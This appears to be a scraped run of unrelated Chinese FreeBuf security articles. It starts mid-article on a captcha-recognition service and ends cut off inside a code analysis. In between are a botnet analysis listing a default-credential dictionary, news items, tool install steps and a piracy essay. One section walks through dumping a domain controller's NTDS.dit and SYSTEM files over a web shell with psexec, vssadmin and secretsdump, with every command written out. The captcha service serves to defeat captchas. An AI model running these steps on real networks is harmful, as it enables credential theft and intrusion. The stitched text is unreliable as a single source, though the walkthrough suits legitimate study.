Tornado:

# 端口 19952 python3 tornado_server.py 

Flask

# 方案1,裸启动, 端口 19951 python flask_server.py  # 方案2,使用gunicorn,端口 5000 pip install gunicorn  gunicorn -c deploy.conf.py flask_server:app 

Sanic:

# 端口 19953 python3 sanic_server.py 

gRPC:

# 端口 50054 python3 grpc_server.py 

Windows:Windows平台下都是通过python3 xxx_server.py启动对应的服务,注意,Tornado、Flask、Sanic的性能在Windows平台都大打折扣,gRPC是Google开源的RPC服务,有较为优越的性能。

3.4 调用/测试

1. Flask服务:

请求地址 Content-Type 参数形式 请求方法
http://localhost:19951/captcha/v1 application/json JSON POST

具体参数:| 参数名 | 必选 | 类型 | 说明 || ———- | —- | —— | ———————— || image | Yes | String | Base64 编码 || model_site | No | String | 网站名,yaml配置中可绑定 || model_type | No | String | 类别,yaml配置中可绑定 |请求为JSON格式,形如:{“image”: “base64编码后的图像二进制流”}

返回结果:| 参数名 | 类型 | 说明 || ——- | —— | —————— || message | String | 识别结果或错误消息 || code | String | 状态码 || success | String | 是否请求成功 |该返回为JSON格式,形如:{“message”: “xxxx”, “code”: 0, “success”: true}

2. Tornado服务:

请求地址 Content-Type 参数形式 请求方法
http://localhost:19952/captcha/v1 application/json JSON POST

请求参数和返回格式同上

3. Sanic服务:| 请求地址 | Content-Type | 参数形式 | 请求方法 || ———– | —————- | ——– | ——– || http://localhost:19953/captcha/v1 | application/json | JSON | POST |请求参数和返回格式同上

4. gRPC服务:需要安装依赖,grpcio、grpcio_tools和对应的grpc.proto文件,可以直接从项目中的示例代码demo.py中提取。

class GoogleRPC(object):      def __init__(self, host: str):         self._url = '{}:50054'.format(host)         self.true_count = 0         self.total_count = 0      def request(self, image, model_type=None, model_site=None):          import grpc         import grpc_pb2         import grpc_pb2_grpc         channel = grpc.insecure_channel(self._url)         stub = grpc_pb2_grpc.PredictStub(channel)         response = stub.predict(grpc_pb2.PredictRequest(             image=image, split_char=',', model_type=model_type, model_site=model_site         ))         return {"message": response.result, "code": response.code, "success": response.success}  if __name__ == '__main__':     result = GoogleRPC().request("base64编码后的图片二进制流")     print(result) 

3.5 奇技淫巧

该项目还可以直接用于识别带颜色的图片,本质是不同的颜色分别训练,调用的时候通过传参区分,如果希望获得图片中红色的文字,就直接通过参数定位到训练红色的模型,希望获取图片中蓝色的图片就通过参数定位到蓝色模型,如:蓝色.png

红色.png

不过这种操作对样本量要求较高,且效率不高,当颜色参数越来越多时就不适用,可以采用颜色提取的方式,这样所需要的样本量将大大减少,但对于颜色提取算法效果要求高了。还有一种方案是同时预测验证码和每个字符对应的颜色,不过这需要修改现有的神经网络进行支持,在最后一层修改为双输出,一个输出颜色,一个输出对应字符,这对于样本标注的要求较高,也提高的成本,所以如果能用无限生成样本,那问题就迎刃而解了,比如上图,笔者就写了样本生成代码,感兴趣的可以移步:https://www.jianshu.com/p/da1b972e24f2其实还有很多很多技巧,例如,用生成的样本代替训练集,其实网上的图片验证码大多是采用开源的,稍作修改而已,大多数情况都能被近似生成出来,笔者收集了不少源代码,上述展示的验证码图片不代表任何实际的网站,如有雷同,笔者不承担责任,该项目只能用于学习和交流用途,不得用于非法用途。

后记

如果各位好汉对深度学习、OCR感兴趣的,欢迎大家一起学习和交流。走过路过点个星在此谢谢大家了!

https://github.com/kerlomz/captcha_trainer

https://github.com/kerlomz/captcha_platform

*本文原创作者:kerlomz,本文属FreeBuf原创奖励计划,未经许可禁止转载

滥用ThinkPHP漏洞的僵尸网络Hakai和Yowai

前言

网络犯罪分子正在利用一个在2018年12月被发现和已修补的ThinkPHP漏洞传播Yowai(Mirai变种)和Hakai(Gafgyt变种)两种僵尸网络病毒。

网络犯罪分子利用字典攻击破坏使用PHP框架创建网站的Web服务器,并获得这些路由器的控制,以实现分布式拒绝服务攻击(DDoS)。

Yowai

Yowai(BACKDOOR.LINUX.YOWAI.A,由趋势科技检测)具有与其他Mirai变体类似的配置表。其配置表使用相同的过程进行解密,并将ThinkPHP漏洞利用添加到感染列表中。

Yowai侦听端口6以接收来C&C服务器的命令。在感染路由器后,它会使用字典攻击来尝试感染其他设备。受影响的路由器现在成为僵尸网络的一部分,使其运营商能够使用受影响的设备发起DDoS攻击。

Yowai利用许多其他漏洞来补充字典攻击,它在执行后会在用户控制台上显示一条消息。分析发现它还包含一个竞争的僵尸网络列表,它将从系统中清除这些竞争的僵尸网络。

字典攻击的用户名/密码 竞争僵尸网络名单
OxhlwSG8
defaulttlJwpbo6S2fGqNFsadmin
daemon
12345
guest
support
4321
root
vizxv
t0talc0ntr0l4!
bin
adm
synnet
dvrhelper, mirai, light, apex, Tsunami, hoho, nikki, miori, hybrid, sora, yakuza, kalon, owari, gemini, lessie, senpai, apollo, storm, Voltage, horizon, meraki, Cayosin, Mafia, Helios, Sentinel, Furasshu, love, oblivion, lzrd, yagi, dark, blade, messiah, qbot, modz, ethereal, unix, execution, galaxy, kwari, okane, osiris, naku, demon, sythe, xova, tsunami, trinity, BUSHIDO, IZ1H9, daddyl33t, KOWAI-SAD, ggtr, QBotBladeSPOOKY, SO190Ij1X, hellsgate, sysupdater, Katrina32

表1. Yowai用于字典攻击的默认用户名和密码列表以及从系统中删除竞争僵尸网络的列表

除了ThinkPHP漏洞,Yowai还利用了以下漏洞:CVE-2014-8361,a Linksys RCE,CVE-2018-10561,CCTV-DVR RCE。

Hakai

Gafgytd变种Hakai(BACKDOOR.LINUX.HAKAI.AA,由趋势科技检测)僵尸网络病毒感染物联网(IoT)设备并依赖路由器漏洞进行传播。

有趣的是,Hakai的样本包含从Mirai复制的代码,特别是用于加密其配置表的函数。但是,该函数无法运行,怀疑telnet字典攻击的代码是故意删除的,以使Hakai更加隐蔽。

由于Mirai的变种通常会杀死竞争僵尸网络,Hakai避免攻击使用默认密码的IoT设备从而更有生存的优势。与暴力破解telnet相比,单独利用漏洞传播的方法更难以检测。

结论

鉴于ThinkPHP是一个免费的开源PHP框架,因其简化的功能和易用性而受到开发人员和公司的欢迎,很容易被Hakai和Yowai这样的恶意程序滥用,进而破坏Web服务器和攻击网站。随着更多的僵尸网络代码可以在线获得和交换,可以预见相互竞争的僵尸网络具有相似的代码。

此外,网络犯罪分子会继续研究类似Mirai的僵尸网络,开发更多Mirai变种,并增加恶意软件的适应性,攻击越来越多的使用默认密码的IoT设备。物联网设备用户应将其设备固件更新到制造商发布的最新版本,修补漏洞。用户还应经常更新设备密码,以防止未经授权的登录。

*参考来源:trendmicro,fengbin8606编译整理,转载请注明来自 FreeBuf.COM。

BUF早餐铺 | 网友微信/支付宝/百度云盘等账号集体被盗,支付宝官方回应;谷歌地图曝光台湾爱国者导弹基地,官方:会与谷歌协商处理;500px千万用户信息泄露

各位 Buffer 早上好,今天是2019年02月19日星期二。今天的早餐铺内容有:在威胁出现前干掉它,IBM开发最新虚拟修补漏洞技术;澳大利亚总理认为一个“成熟的国家行为体”应对黑客攻击行为负责;网友微信/支付宝/百度云盘等账号集体被盗,支付宝官方回应;谷歌地图曝光台湾爱国者导弹基地,官方:会与谷歌协商处理;500px千万用户信息泄露。

timg.jpg

在威胁出现前干掉它,IBM开发最新虚拟修补漏洞技术

国际商业机器公司(IBM)的研究人员最近设计了一种新技术,可以在发现安全漏洞之前就进行虚拟修补,他们日前在一个国际研讨会上展示了这一技术。据该项目的首席研究员非迪·考普提称,工程师们为寻找流行软件中的安全漏洞而不断研究解决方案。

在应用程序上部署安全修补程序是一项繁琐且耗时的任务,需要执行一系列步骤,包括识别应用程序的易受攻击版本、管理该漏洞、交付修补程序、部署修补程序,然后重新启动应用程序。通常,补丁要在很长时间内才能部署,因此应用程序在发现漏洞后的一段时间内仍然容易受到攻击。为了显著加快这一过程,IBM研究人员推出了虚拟补丁。

团队成员利用机器学习技术来解决问题。他们在给定的应用程序上运行各种测试工具来生成数据,然后使用这些数据来训练模型。他们先为应用程序创建了数百万个样本,然后确定输入的分类标签:良性、错误或恶意,最终他们训练模型来预测一个新样本究竟是良性的还是恶意的。

研究人员根据他们之前生成的数据训练了模型。该模型结合了卷积神经网络(CNN)和递归神经网络(RNN),在预测威胁发生之前的漏洞方面,取得了显著成果——在评估中,他们的模型成功地在威胁之前检测到LibXML2和LibTIFF漏洞,准确率分别为91.3%和93.7%。[cnbeta]

澳大利亚总理认为一个“成熟的国家行为体”应对黑客攻击行为负责

澳大利亚总理斯科特·莫里森(Scott Morrison)表示,一个“成熟的国家行为体”是对议会网络黑客攻击事件的幕后推手。

莫里森称,最近对澳大利亚议会计算机网络的黑客攻击是由一个“成熟的国家行为体”进行的,在全国大选前几周提出了对外国政治干预的担忧。莫里森表示,包括自由党—国家党联盟以及反对派工党在内的主要政党的网络都遭受攻击。他没有明确说出涉嫌发起黑客攻击的国家。

自俄罗斯干预2016年美国大选以来,对外国干涉选举的担忧有所增加。美国官员指责国家支持的俄罗斯黑客入侵民主党全国委员会的服务器窃取电子邮件,使克林顿的竞选活动陷入尴尬境地。

莫里森接着表示,目前还没有收集到干预选举的证据,但该国政府已采取“一系列措施”,以确保选举制度的完整性。预计全国大选将于5月举行。他表示,负责监督国家网络安全的澳大利亚网络安全中心正在与反病毒公司合作,以确保该国有能力发现恶意活动。[cnbeta]

网友微信/支付宝/百度云盘等账号集体被盗,支付宝官方回应

有微博网友马先生反馈称,自己的网易有道云、微博、微信、支付宝、企鹅FM、百度云盘等多个网络账号被他人登录。对此,支付宝安全中心 官微对此事进行了回应。支付宝安全中心 表示,他人设法获取了马先生上述多个平台的账户名和登陆密码。

据马先生的描述,他的网易有道云、微博、微信、百度网盘也都被他人登录,还被删除了网盘资料、微博内容。为了可以更好的帮助马先生解决问题,2月16日下午,支付宝已经主动向当地警方进行了举报。

在登录支付宝时,虽然准确输入了马先生的登录密码,但在新手机上首次登录支付宝,除了要输入登录密码,还需要进行二次验证,比如短信验证码或者回答安全问题等。支付宝安全风控系统向这一次的登录发出了“回答安全问题”的验证要求。

最后,支付宝安全专家也提供大家,一定要妥善保护好自己的账户名密码、个人身份信息,尽量避免集中储存在网络平台上。[kkj]

谷歌地图曝光台湾爱国者导弹基地,官方:会与谷歌协商处理

谷歌地图3D地图功能日前在台上线,但意外地让台“爱国者导弹基地”暴露在了公众的视野里。台“国防部长”严德发在接受媒体采访时表示,台“国安”等相关单位会与谷歌公司进行协商,基于“国家安全”考量做一些处理,试图淡化人们对此次事件的担忧。

据称,谷歌日前在台北市、新北市、桃园市、台中市这四个城市的卫星地图上新增了“3D地图”功能,旨在为用户带来更多元、更精致的地图画面体验。然而,有网友发现,位于大台北都会区的台“国家安全局”、“国防部军事情报局”以及位于新北市的“爱国者导弹基地”也被立体还原,所有建筑清晰可见。

在了解到这一事情之后,台“国安”等相关单位会与谷歌公司进行协商,基于“国家安全”考量,会“请他们配合我们做出一些处理”,而台军各重要军事营区设施都有战力保存、防护的一套做法。

类似事件在其他“国家”实际上也曾发生过,因为商业卫星和遥感卫星已经被广泛应用,路况遥感技术也已经非常成熟。目前的临时解决措施是对台军各重要军事营区在谷歌地图上的显示做出一些限制,但想要把所有的重要营区都涵盖进去,还有很多工作需要做。[secrss]

500px千万用户信息泄露

著名摄影网站500px发布公告,它在去年 7 月遭到黑客攻击,大约 1480 万用户的信息泄露,而它直到上周才获悉此事。

500px称2月8日,工程团队了解了一个潜在安全问题,随后它立即发起全面调查以查清问题的性质和范围,它还雇佣了第三方专家来帮助调查,结果发现在2018年7月5日,它的系统和部分用户数据遭到未经授权的访问,被访问的数据包括了用户名、电子邮件地址、哈希密码、出生日期性别地址等可选输入的信息。出于谨慎起见,它决定重置所有用户的账号密码,并建议用户如果在其它网站复用密码最好一并修改。

500px去年二月已被视觉中国收购。[solidot]

Malcom:一款功能强大的图形化恶意软件通信分析工具

Malcom这款工具可分析系统内的网络通信流量,并以图形化的形式将流量分析情况提供给用户,分析结果中将包含已知的恶意软件源,而这些信息将有助于安全研究专家对特定的恶意软件进行分析。

Malcom能做什么?

Malcom可以帮助我们:

1、 检测中央命令&控制服务器;

2、 识别点对点网络;

3、 识别DNS基础设施;

4、 快速判断网络流量“恶意性”;

Malcom的目标是通过图形化的网络流量信息来帮助研究人员更加轻松地分析恶意软件,并提供更加智能化的情报信息。

下面给出的是主机tomchop.me的分析样本图:

222222222222.png

数据集查看(可过滤IP)

333333333.png

工具安装

Malcom采用Python开发,并提供了大部分必要的代码库,你可以直接在任何平台上运行Malcom。我强烈建议大家使用Python虚拟环境:virtualenv,这样就不会影响系统库了。

下列命令以在Ubuntu server 14.04 LTS平台上进行了测试:

-安装git、python、libevent库、mongodb、redis以及其他依赖:

  $ sudo apt-get install build-essential gitpython-dev libevent-dev mongodb libxml2-dev libxslt-dev zlib1g-dev redis-serverlibffi-dev libssl-dev python-virtualenv

-克隆Git库:

  $ git clone https://github.com/tomchop/malcom.git malcom

创建并激活你的virtualenv:

  $ cd malcom

  $ virtualenv env-malcom

  $ source env-malcom/bin/activate

安装scapy:

  $ cd ..

  $ wget http://www.secdev.org/projects/scapy/files/scapy-latest.tar.gz

  $ tar xvzf scapy-latest.tar.gz

  $ cd scapy-2.1.0

  $ python setup.py install

在virtualenv环境下,安装requirements.txt文件中的必要Python包:

  $ cd ../malcom

  $ pip install -r requirements.txt

如果你需要IP地理位置信息,你可以下载Maxmind数据库并把文件提取到malcom/Malcom/auxiliary/geoIP目录下。

Maxmind数据库免费下载地址:【传送门】。

你可以使用./malcom.py来启动Web服务器,并使用./malcom.py –help监听接口和端口。这里需要将malcom.conf.example文件拷贝为malcom.conf并运行下列命令:

./malcom.py -c malcom.conf

配置选项

数据库

默认配置下,Malcom会尝试连接本地mongodb实例,并创建自己的数据库,名叫malcom。

设置Malcom数据库名称

默认配置下,Malcom的数据库默认名为malcom。你可以通过编辑malcom.conf文件并设置database标签下的name属性:

    [database]

    ...

    name = my_malcom_database

...

远程数据库

你可以在主机my.mongo.server上使用单独的数据库:

    [database]

    ...

    hosts = my.mongo.server

...

你还可以指定mongodb端口:

    [database]

    ...

    hosts = localhost:27008

...

使用认证

你可以配置mongodb实例来启用认证连接,你可以自由设置用户名和密码:

    [database]

    ...

    username = my_user

    password = change_me

...

如果你想连接其他数据库的话,可以设置authentication_database参数:

    [database]

    ...

    authentication_database =some_other_database

...

Docker实例

你可以直接从公共docker库中获取Docker镜像:

$ sudo docker pull tomchop/malcom-automatic

$ sudo docker run -p 8080:8080 -d --namemalcom tomchop/malcom-automatic

接下来,你就可以直接在浏览器中访问http://<docker_host>:8080/来使用了。

项目地址

Malcom:【GitHub传送门】

*参考来源:malcom,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

通过Webshell远程导出域控ntds.dit的方法

嗨,大家好!这次我想分享一些与“Windows Active Directory(AD)”环境相关的内容。我将使用Web shell向大家演示“如何转储Windows Active Directory用户数据库”。可能有这样一种情况在渗透测试期间,渗透测试人员连接到了Windows Active Directory forest其中一台计算机并获得了“Domain Admin”用户凭据和Web shell访问权限。渗透测试人员试图进一步的获得Reverse shell,但由于某些原因阻止了该行为(假设网络防火墙不允许)但测试者的最终目标可能并不是获取shell,而是转储AD用户数据库,即用户和ADL环境的NTLM密码哈希值。

在渗透测试期间我也面临了同样的问题(没有公网IP服务器)。在稍稍讨论了该问题之后,我找到了一种方法,如果我们有“AD Domain Admin”用户凭据,那么通过WebShell就可以帮助我们实现上述目标。

这里,我们假设:

1、AD域控机器(queen.DC1.indishell.lab – 192.168.56.200)

2、被控制的Windows机器 – 连接到AD(LABONE – 192.168.56.101)

3、管理获取Windows AD域管理用户(你可以使用任何可用的exploit,在这里我使用的是“MS14-025”来获得域管理员用户密码的)

现在,我可以在Windows机器上进行访问web shell,它连接到域,即“LABONE”,其IP为“192.168.56.101”。域管理员的用户名为“user1”,密码为“ica_1046”。

这里,我将使用以下两个二进制文件:

1、psexec.exe < – Windows内部工具

2、vssadmin < – 用于创建/删除Windows驱动器的卷影副本的命令

无论如何,如果我们设法在Windows AD域控机器上运行“vssadmin”命令,“vssadmin”命令将生成“C”盘的卷影副本,并且从该卷影副本我们可以复制“ntds.dit”和“SYSTEM”文件。为了实现上述任务,我们将使用“psexec.exe”,如果我们使用“elevated”选项(通过指定-h)指定目标计算机IP、域管理员用户名及其密码,则可以在远程Windows计算机上执行命令。我们需要通过web shell在Windows机器“LABONE”上上传psexec.exe。从Web shell我们将使用“vssadmin”命令指定AD域控机器IP,域管理员用户名及其密码。

psexec文件将远程执行Windows AD域控计算机上的vssadmin命令。在创建“C”盘卷影副本之后,我们需要将“ntds.dit”和“SYSTEM”文件从该卷影副本复制到我们具有Web shell访问权限的机器上,即Windows域机器“LABONE”。这个任务可以通过使用“psexec”来完成,我们只需在“copy”命令中指定目标AD域控机器的IP,域管理员用户名和密码即可,请使用SMB将ndts.dit和SYSTEM文件从卷影副本复制到LABONE机器。这里,我将这些文件复制到了我转储psexec文件的同一目录下。

使用“psexec”在远程主机上执行命令的常规用法:

psexec.exe //remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />

就我而言,我应填写如下信息:

remote_IP 192.168.56.200(queen.DC1.indishell.lab)

user_name user1

password_of_the_user ica_1046

我在Windows域机器“LABONE”上具有web shell访问权限,并在服务器上传了psexec二进制文件。

1.png

首先,我们先来检查下是否有“C”盘的卷影副本可用。你可以使用以下命令来列出可用的卷影副本:

vssadmin list shadows

这里,web shell无法显示远程主机上psexec binary执行的所有命令输出,所以我将命令输出重定向到了“LABONE”上,并保存在C:/xampp/htdocs/box/ps/目录下。执行该步骤的命令如下:

PsExec.exe  //192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > //192.168.56.101/C$/xampp/htdocs/box/ps/out.txt"

2.png

Web shell显示psexec正在远程Windows AD域控机器上执行命令。如果一切顺利,我们将在目录“C:/xampp/htdocs/box/ps”中获取到一个名为“out.txt”的文件,它将包含在AD域控(192.168.56.200)上执行的“vssadmin list shadows”命令的输出。

3.png

可以看到out.txt文件已生成在了目录中,让我们来查看下其中的内容。

4.png

“out.txt”文件内容显示,目标域控机器到目前为止并没有任何的卷影副本。

让我们创建一个“C”盘的卷影副本,以窃取“ntds.dit”和“SYSTEM”文件。

用于创建c盘卷影副本的命令如下:

vssadmin create shadow /for=C:

我们需要有新创建的“C”盘卷影副本的名称它将在命令的输出中,因此我们将把上述命令的输出重定向到我们拥有web shell访问权的机器上。

要从目标机器复制“ntds.dit”和“SYSTEM”文件,我们需要有卷影副本的名称。最终的命令为:

PsExec.exe  //192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >

以上命令,psexec正在Windows AD域控机器(192.168.56.200)上执行命令创建“C”盘的卷影副本,然后将该命令的输出重定向到 “LABONE”机器的 “C:/xmpp/htdocs/box/ps/out.txt”文件中。

5.png

“out.txt”文件的内容将告诉我们卷影副本的位置。

6.png

在以上截图中我们可以看到,卷影副本的卷名为“//?/GLOBALROOT/Device/HarddiskVolumeShadowCopy5/”。

“ntds.dit”和“SYSTEM”文件的位置如下:

“shadow_copy_volume_name/Windows/NTDS/NTDS.dit”

 ”shadow_copy_volume_name/Windows/System32/config/SYSTEM”

即:

“//?/GLOBALROOT/Device/HarddiskVolumeShadowCopy5/Windows/NTDS/NTDS.dit”

“//?/GLOBALROOT/Device/HarddiskVolumeShadowCopy5/Windows/System32/config/SYSTEM”

让我们使用以下命令从目标Windows AD域控机器复制“ntds.dit”文件:

PsExec.exe  //192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy  //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy5/Windows/NTDS/NTDS.dit  //192.168.56.101/C$/xampp/htdocs/box/ps/"

此命令将会将“ntds.dit”文件从远程机器(192.168.56.200)复制到“LABONE”机器(192.168.56.101)的“C:/xampp/htdocs/box/ps/”目录下。

7.png

可以看到web shell显示,一个文件已从目标DC机器复制到了我的机器上。让我们确认并检查“C:/xampp/htdocs/box/ps”看看是否已成功复制“ntds.dit”文件。

8.png

如上所示,“ntds.dit”文件已成功被复制到了“LABONE”机器上。

同样,我们使用该命令复制“SYSTEM”文件:

PsExec.exe  //192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy  //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy5/Windows/System32/config/SYSTEM

9.png

命令执行成功,Web shell显示“1 file copied”的消息提示。再次检查并确认是否成功执行。

10.png

可以看到“SYSTEM”文件也已成功被复制到了 ”LABONE”机器上。我们可以从这里使用web shell下载这些文件。

现在,我们可以使用python脚本secretsdump.py,从“ntds.dit”和“SYSTEM”文件中提取Domain,udi,rid LM和NT hashes。命令如下:

python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

11.png

结果如下:

12.png

感谢阅读!希望大家继续支持并关注我!

*参考来源:mannulinux,FB小编secist编译,转载请注明来自FreeBuf.COM

撕开黑产遮羞布,扼住中国电影发展的岂止一个盗版!

中国第一部“硬核科幻大片”——《流浪地球》上映不到半个月,票房已经超过26亿元,吴京也成为国内第一个票房超过100亿的男主演。但是近几天,伴随高票房而来的,还有盗版片源、豆瓣评分争议等多起相关事件…….

一、“繁荣”的电影市场背后是什么?

近年来,随着电影市场的不断发展。根据《2018年中国电影市场城市热度趋势报告》,我国2018年全年票房突破600亿元大关,平均单片票房1.21亿元。如此广阔的市场下,国产电影总票房为378.97亿元,同比增长25.89%,市场占比为62.15%,比去年提高了8.31个百分点,市场主体地位十分明显。

不仅在数据方面呈现良好增长态势,从大型三维动画冒险片《大圣归来》到今天的国内第一部“硬核科幻片”《流浪地球》,在电影的题材内容上大家一直尝试突破。除此之外,小成本制作大爆的电影也不断出现,许多新鲜的血液为这个电影市场带来了更多的可能性。

但是在这样的“繁荣”背后,也出现了不少负面事件。

2016年3月,《叶问3》被证实票房造假,管理部门对该片发行方和部分影院进行了处罚和严重警告;

2018年4月,《后来的我们》出现大规模退票,票房造假引起大家热议;

2018年8月,电影《欧洲攻略》发现有大批水军在上映日刚过零点就给出大量一星差评,令口碑和票房都受到了不小伤害;

2019年2月,微信春节严查《流浪地球》等院线电影盗版,近130个侵权公众号被罚;

……

2.png

从票房注水到盗版横行,如今中国电影市场的尴尬境地在于烂片电影借用大量的数据造假、票房注水荣登前列;而那些费尽心力冲破资金、拍摄困难的优质电影却输在了这流量时代,被大量的恶意差评、盗版行为所困。

二、困境之下,是谁在和稀泥?

趋利而来,黑产不会缺席。

1. 盗版横行

这次《流浪地球》票房喜人,上映4天突破11亿。但是出品方坦言并没有时间庆祝,而是在“忙着防盗版”。因为同样在上映第四天,网络上出现了不少相关盗版资源信息。

3.png

价格甚至低至1.5元

出现在市面上的“高清资源”只是暂时露出的冰山一角,从获取片源、加工转制到代理转卖,这条“盗版黑产链条”早已以野蛮生长的姿态建立起来了。

目前的电影片源流出,主要是三种方式。第一种是在电影的原版资源因管理不当出现外泄;第二种是根据国内外上映时间差,获取片源;第三种是有人在电影院通过违规录制、加工之后传播售卖,也就是我们常说的“枪版”。

获取片源之后,黑产通过多种渠道对其进行转卖。他们无孔不入,从视频网站、博客论坛到社交、电商渠道无一幸免,有时候甚至评论区也沦为黑产揽客的“免费摊位”。

4.png

而倒卖的背后往往还有一个分级代理售卖体系。正在做电影资源生意的小王,当初一次性缴纳188元代理费用,被拉进了一个“资源分享群”。群主不仅每天不定期分享最新上映电影的资源,还会教授如何寻找片源、线上推广、发展下级代理以及招揽顾客。

而发展下线也需要给群主缴纳10-30元不等的红包。除此之外,代理机制下还配合一系列的推广工具,他们借助公众号等其他媒介进行扩散。许多关于电影分享、电视剧资源售卖的公众号层出不穷。

6.png

在这样的倒卖机制下,黑产有组织有预谋的进行分工,从多渠道寻找片源、到录制“枪版”视频、对片源进行压制、转制,最后将资源倒入代理体制,向市场扩散。而不仅黑产,很多所谓的“网赚”项目也参与其中,原本清清白白的“散户”最终也变成黑产产业链上的帮凶。

而盗版产业链还会带来一系列隐患,原本说好的“最新电影资源”,付钱下载之后很可能只是不相关的宣传视频,或者骗取流量的钓鱼链接。在没有官方认证审核的情况下,随便下载还会带来信息泄露、病毒等风险。

2. 水军

对比四处流窜的盗版,水军组织更像是一群群躲在暗处、来势汹汹的“暗夜人”。我们无法提前预估其行动计划,更难以批量对其进行集中反击。而在黑产组织下,水军承包的业务十分灵活,在利益驱使下,他们有时变身热心网友鼓励影视作品发展,有时化身键盘侠毫不负责的带来恶意评价。

这次《流浪地球》出现大批量修改豆瓣评分,原本打五星获取高赞的点评之后大批量修改成为一星,而钻了平台漏洞高赞并不会因此取消,给电影出品方带来了很大困扰。

而在背后,出现不少黑产“招兵买马”的信息。

7.jpg

在这些水军的操纵下,“全球人口不足一部剧点击量”频频出现。

从宣传期开始,微博、论坛、贴吧、博客、人人网等平台纷纷沦陷,水军借助人海战术,短时间内做到大量发帖、顶帖、转发、点赞,再加上黑产群控技术,操纵舆论导向不是难事。不仅如此,还有不少电影出品方借助水军宣传电影最终也是得不偿失。

8.png

3. 虚假票房

针对当下电影市场的困局,还有一点不得不提,就是大规模的票房注水。

从2011年电影《阿童木》注水,到后来《叶问3》票房注水被警告,这场关于虚假票房的博弈逐渐走入大众眼前。去年,《后来的我们》上映首日晚即排查出疑似被恶意刷票,退票数量约38万张,涉及票房约1300万,占影片当日总票房2.8亿的4.6%。而被恶意刷票的订单集中在19.9元等特惠票。通过先买票刷数据,后期退票来实现虚假票房,这场闹剧引起了行业震动。

9.png

票房注水中不少黑产继续充当水军角色,配合构建高票房假象,严重影响电影市场的正常秩序。2016年3月,广电总局电影局查出《叶问3》存在大量虚假票房,公布《叶问3》由于虚假排场和自购票房共产生的8800万假票房作废,配合造假的70多家影院和3家电商被警告、影片发行公司停业整顿。

三、畸形市场到底如何形成的?

回过头来,我们仔细思考眼下的发展困境到底问题出在了哪里?这个市场正在上演着“劣币驱逐良币”的悲剧。

当下流量为王,出品方想要的是高票房和高收益,有时不在乎电影作品本身是否“叫好”,只要“叫座”即可。而围绕这个目标,宣传方和制作方很容易数据造假,营造“高质高流量”的假象,既影响大众的判断选择,也对未来的电影发展产生误导。

长此以往,拍出烂片的导演责怪观众审美不足,“是你们喜欢看烂片呀”,不得不拍出所谓的“商业片”。这不仅发生在原本就拍不出好电影的导演和出品人身上,甚至以前拍出“神作”的导演们似乎也纷纷走下了神坛。我们不禁产生迷思:烂片越来越多是否真的是观众审美的锅?

并不是。是商业和艺术之间的平衡出了问题。

曾经拍出《红高粱》、《大红灯笼高高挂》等佳作的张艺谋,谁会想到后来耗费上亿巨制的《满城尽带黄金甲》却彻底扑街,面对满屏的露骨造型,老爷子自己也坦言:这的确是为了商业。

10.png

所以在数据影响利益,利益影响艺术的当下,我们看到越来越多的烂片,本质上是整个大环境已经有问题了。

11.png

我们往往忽略了电影并不只承载商业价值,其艺术价值也不能放弃。如果是其他商品,在经济规律的自然选择下,市场会代替我们作出最优的选择。但是电影、电视剧、音乐、书籍等并非如此。所有的票房、播放量、评分只是参考指标,其肩负的艺术价值,从一开始拍摄到制作就需要从业者坚定内心,铭记于心。在发挥最大艺术价值之前我们或许暂时看不到经济收益,但相信大众,最终时间会给出答案。

过度追求流量带来的惨剧,我们见的并不少。比如过年前一支《哈是佩奇》的宣传片席卷全网,其饱含的情怀引发了无数人的共鸣。难以相信的是同一个导演笔下,《小猪佩奇过大年》却并非诚意之作,评分仅为4.1,即便宣传再足,没有付出真心的作品,也得不到观众认可。

四、困境或许意味着转机

当然,困境之谷通常也蕴藏着无限可能。如今的电影市场,体制在不断完善,比如这次《流浪地球》电影盗版的问题,其实国家版权局在事前事后都给予了高度关注和帮助。

如今对于盗版电影的追踪技术也不断发展,我们在电影院看到的电影都是添加了多层水印的,这个就相当于服务器投影仪随身携带了数字身份证。一旦出现盗版就可以顺着数字标记对其追踪,将追踪时间从过去的几天缩短到了几个小时,甚至一个小时就可以完成追踪,为电影出品方减少损失。而面对票房注水、数据造假等情况,多方也同样在不断努力。

更为可喜的是,许多优质的小制作电影也拥有了更多展露机会。我们期待着法律和监管的不断完善,我们更永怀希冀电影等艺术市场更加清澈公平。但前提是,平台方和从业者坚定原则,抵制一切造假行为,抵制烂片,从你我做起。

参考来源:

1.《网友举报闲鱼现《流浪地球》盗版 国家版权局回应》——观察者网:http://ent.sina.com.cn/m/c/2019-02-11/doc-ihqfskcp4162667.shtml

2.《电影质检所副所长龚波:2012年至今300多部院线电影遭盗版》——搜狐:http://www4.freep.cn/a-a-250162513_114941.xml

*本文作者:GEETEST极验,转载请注明来自FreeBuf.COM

R3Con1Z3R代码及功能分析

*本文作者:ERFZE,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

之前Alpha_h4ck分享了一个工具R3Con1Z3R,觉得很不错,虽然代码很简短,但是功能很强大,而且跨平台,同时支持Pyhthon2与Python3。

所以想从代码的角度去解读这个工具,并将它每一部分的功能分析一下。最后,我将它这个脚本进行了修改,可以单独取出里面的部分功能去执行。

另外,此文章主要面向新手及小白,大佬请自行绕过,勿喷。

脚本结构(大致如下图):

源代码解读

1. 打印Banner部分

if sys.platform.startswith('win'):     R, B, Y, C, W = '/033[1;31m', '/033[1;37m', '/033[93m', '/033[1;30m', '/033[0m'     try:         import win_unicode_console, colorama         win_unicode_console.enable()         colorama.init()     except:         print('[+] Error: Coloring libraries not installed')         R, B, Y, C, W = '', '', '', '', '' else:     R, B, Y, C, W = '/033[1;31m', '/033[1;37m', '/033[93m', '/033[1;30m', '/033[0m' # Banner Printing def header():     print('''%s  _____    ____     _____    ___    _   _   __   ______  ____    _____   |  __ /  |___ /   / ____|  / _ /  | / | | /_ | |___  / |___ /  |  __ /  | |__) |   __) | | |      | | | | |  /| |  | |    / /    __) | | |__) | |  _  /   |__ <  | |      | | | | | . ` |  | |   / /    |__ <  |  _  /  | | / /   ___) | | |____  | |_| | | |/  | 